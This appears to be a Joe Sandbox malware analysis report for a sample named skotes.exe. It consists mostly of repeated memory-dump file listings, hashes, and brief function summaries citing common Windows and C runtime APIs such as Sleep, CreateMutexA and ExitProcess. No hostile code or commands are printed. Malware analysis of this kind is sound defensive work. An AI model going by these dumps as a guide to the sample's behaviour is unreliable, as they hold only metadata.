Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 79cdb060fe5af0c69c6e6f72bc84cb5e622e66696449fa9197f7db2c011fd3c0
Instruction ID: 02e5c3649cbe9d33939613d3a49ff9f09ce2317bf195cf18c417c5ba1fdaeb49
Opcode Fuzzy Hash: 79cdb060fe5af0c69c6e6f72bc84cb5e622e66696449fa9197f7db2c011fd3c0
Instruction Fuzzy Hash: C2A1C0B0A01605AFDF25DF64C944BAAB7F8FF25314F04812AE825D7251EB31EA04CBD1

Function 001CCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001CCC66

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: f97d4599da598b88e2cdab96dd2d5b8ef1f15fa50ac17ed47a72b0be8718aa95
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: E5B101329042859FDB158F68C881BBEBFA5EF66340F1441AEE859EB241D734CD02CBE4

Function 001ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 001ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 001ABBE4
_xtime_get.LIBCPMT ref: 001ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 001ABC13

Memory Dump Source

Source File: 00000002.00000002.2113569282.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000002.00000002.2113452729.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113569282.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113723838.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113755886.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113788446.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113843566.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113860716.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2113975102.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114002009.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114023369.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114063976.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114084940.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114103117.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114121226.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114139760.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114156644.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114174914.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114194943.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114222017.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114239956.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114258612.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114281100.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114299063.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114320306.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114344205.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114363160.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114384671.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114405759.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114426789.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114447117.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114468097.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114488110.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114507957.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114539184.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114557161.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114578770.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114602783.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114621691.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114639135.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114656269.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114676060.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114703965.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114731044.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114751568.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114775231.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114796195.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114814104.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114835906.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114891627.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114908316.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114928909.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114947676.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114970429.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2114989679.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115008649.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115028924.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115048027.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115069205.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2115086420.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 138f0b5af1d33b6a5da6193fb7d3feb45c70012679f7c6d8d33cbb433b9c8bac
Instruction ID: dfa1fd3fc10346635a2c47c4979335f5947005efbd469372c3b449668fe3a41a
Opcode Fuzzy Hash: 138f0b5af1d33b6a5da6193fb7d3feb45c70012679f7c6d8d33cbb433b9c8bac
Instruction Fuzzy Hash: 90212C79A00119AFDF05EFA4DC819BEB7B9EF1A710F110025FA05AB261DB709D419BE0

Analysis Process: skotes.exePID: 7532, Parent PID: 7296COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	623
Total number of Limit Nodes:	4

Executed Functions

Function 001C652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,001C652A,?,?,?,?,?,001C7661), ref: 001C6566

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116268746.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116296384.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116322319.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116352389.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116385674.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116423939.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116458388.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116517592.00000000003AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116570360.00000000003AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116607423.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116632495.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116658475.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116683388.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116718495.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116745498.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116774475.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116800630.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116830309.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116865516.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116885524.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116909761.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116935895.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116960137.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116985577.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117022240.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117048935.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117075582.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117103717.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117130453.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117158585.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117191226.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117219238.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117246251.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117278597.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117305990.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11672d27d4d2d54a320593d10502a70daf5385c0f08f2445bcf246391fa62b09
Instruction ID: 2b67750df525706237d9b2dc710b78c701622d7ec18f52172f0f6635808268b8
Opcode Fuzzy Hash: 11672d27d4d2d54a320593d10502a70daf5385c0f08f2445bcf246391fa62b09
Instruction Fuzzy Hash: CEE08C34142148AACF267B18D819E8C3BA9FF31785F145818F9098A626CB25EE92CB80

Function 00199BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0019A963
CreateMutexA.KERNELBASE(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000003.00000002.2115721499.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000003.00000002.2115677559.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115721499.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115851035.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115879331.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115905886.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115931494.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2115958182.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116114573.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116146119.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116177741.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116239956.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
